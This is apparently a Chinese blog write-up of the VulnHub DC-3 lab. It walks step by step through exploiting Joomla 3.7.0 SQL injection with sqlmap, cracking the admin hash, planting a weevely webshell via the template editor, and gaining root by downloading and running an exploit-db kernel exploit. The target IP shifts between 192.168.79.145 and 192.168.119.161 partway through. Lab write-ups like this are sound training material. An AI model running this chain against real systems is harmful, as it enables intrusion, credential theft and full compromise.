vulhub DC-3靶场实战

一、前言

  这次的靶场是vulhub下的dc-3,难度为简单,flag只有一个,下载地址为DC: 3.2 ~ VulnHub,话不多说还是​​​​开始吧

二、开始动手

   我们在下载好后,记得需要把DVD设备移除,不然的话开启不了虚拟机,此时还是我们的老办法nmap。输入以下命令

nmap -sn --min-parallelism 200 --min-grouphost 192.168.79.0/24

这个命令也是用了很多次了,就不做过多阐述了,不懂的同学可以翻看我以前的博客

此时继续输入命令

nmap -A -sV  -p- --min-parallelism 100 192.168.79.145

这个也是用了很多次的命令了,也不再阐述了

此时我们得到了两个信息,只开通了80端口,并且使用了joomla,输入这个ip地址看看页面有无给我们的提示信息

这个页面也只进行了些简单的描述,并无过多的提示

此时我们对这个页面进行目录扫描,输入以下命令

dirsearch -u 192.168.79.145

扫描出了很多的目录,这个administrator使我们比较在意的,这上面基本上有些用户信息

我们转到这个页面看看

得到了一个登录页面,并且确定了使用的是joomla,此时我们可以尝试看看msf有无可以利用的漏洞,但是我们需要知道他的版本信息

输入以下命令

joomscan -u 192.168.79.145

joomscan是joomla的一个专用扫描器,但是需要先进行安装

apt install joomscan

这是一个安装命令

此时我们得到了他的一个版本号,此时我们输入

searchspolit joomla 3.7.0

可以得知存在一个SQL注入漏洞和跨脚本请求伪造漏洞,这边的话我们就使用这个SQL注入漏洞

searchsploit -m命令把sql注入漏洞对应的文件复制到当前文件夹

searchsploit -m 42033.txt

cat 42033.txt

我们直接使用这个提示我们的SQL语句把ip地址修改下就行

sqlmap -u "http://192.168.79.145/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

–risk 这个参数指定的数字越大,执行风险越高,成功率也越高。参数范围为1-3。

–level 这个参数指定的数字越大,发送的请求越多,成功率也越高,参数范围为1-5.

–random-agent 使用随机的请求的user agent,这个是为了避免请求被waf阻断。

–dbs 获取所有数据库名称。

-p 该参数是指定可以利用sql注入漏洞的参数。

扫描的时间有点长,但是最后还是得到了5个数据库,这个joomladb就是我们所需要的

继续输入以下命令

sqlmap -u "http://192.168.119.161/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

-D 指定需要扫描的库名。

–tables 列出指定库中的所有表名。

扫描出了很多表,这个user表比较重要,可能含有我们所需的用户的一些登录信息

继续输入以下命令

sqlmap -u "http://192.168.119.161/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --dump list[fullordering]

-T 指定需要扫描的报名。

–dump 表示获取指定库和表中的有内容。

命令结束后,我们知道了admin和其对应的密码

$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu 

该密文首部 2y表示该加密方式为Blowfish

尝试使用约翰开膛手破解一下,首先把密文保存一个文件中。

echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu'>pass.txt

然后使用约翰开膛手进行暴力破解。

john pass.txt

john --show pass.txt

很好我们知道了其密码是snoopy,登录我们的后台页面

成功进入,下一步我们的任务就是获取一个shell

1.获取shell

获取shell的方法,通过修改模块中的php文件,插入一句话木马,然后通过中国菜刀或weevely连接。这里我采用weevely做演示,首先用weebely生成一个木马。

weevely generate a a.php

generate 代表生成一个木马

a 代表连接密码

a.php 是木马文件名

然后在后台打开Templates,然后依次点击 Templates-> Beez3 Details and Files,选择下边的模块也是可以的,这里就用Beez3模块做演示

点击 New File后就会弹出一个模态框,在模态框中可以填写创建文件的文件名与文件类型。

随便填写一个文件名,但是需要记住,待会儿连接需要使用,文件类型选择PHP,点击create

输入以下命令

cat a.txt

将刚刚创建的木马内容复制下来

将刚刚用weevely生成的木马内容粘贴到文本框中,然后点击保存。

通过前面的目录扫描,我们知道了模块会保存在目录/templates/beez3/中,我们访问一下刚才编辑好的木马文件:http://192.168.119.161/templates/beez3/tp.php,如下图所示出现空白则说明有这个木马文件存在。

如果文件不存在则会报404

此时我们采用weevely连接,输入以下命令

weevely http://192.168.79.145/templates/beez3/tp.php a
最后面一个a是连接密码,在生成木马的时候设置的。

此时连接已经成功,接下来就进行提权

2.提权

通常的话我们使用suid和sudo提权,接下来我们就都试一下

此时,这两个命令都不行,只能用我们的msf了,但是需要知道版本号和内核版本号

输入以下命令

cat /etc/issue        //查看系统版本号
uname -a            //查看内核版本号
 

我们得知系统为 ubuntu 16.04,内核发行版本为 4.4.0-21

此时再次请出我们的msf

输入以下命令

searchsploit ubuntu 16.04

这次提权我们采用39772.txt

输入命令

searchsploit -m 39772.txt

打开桌面的39772.txt

我们按照这个网站去下载

按照这个文件里面的提示下载好漏洞利用脚本。下载的是一个zip文件,里面有两个文件,分别为 exploit.tar, crasher.tat。这次提权我们只需要用到 exploit.tar,所以把这个文件上传到靶机上,经过测试发现,提供的列表中若使用39772,可以提权成功。将39772.zip上传到靶机和对其解压,同时解压exploit.tar文件,依次执行compile.sh和doubleput后即可成功提权。

输入以下命令

1.wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

2.cd 39772

3.tar -xvf exploit.tar

4.cd ebpf*

5./compile.sh

6./doubleput

跳转到/root目录,成功获取到最后一个flag

三、总结

虽说只有一个flag但还是好难

7

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值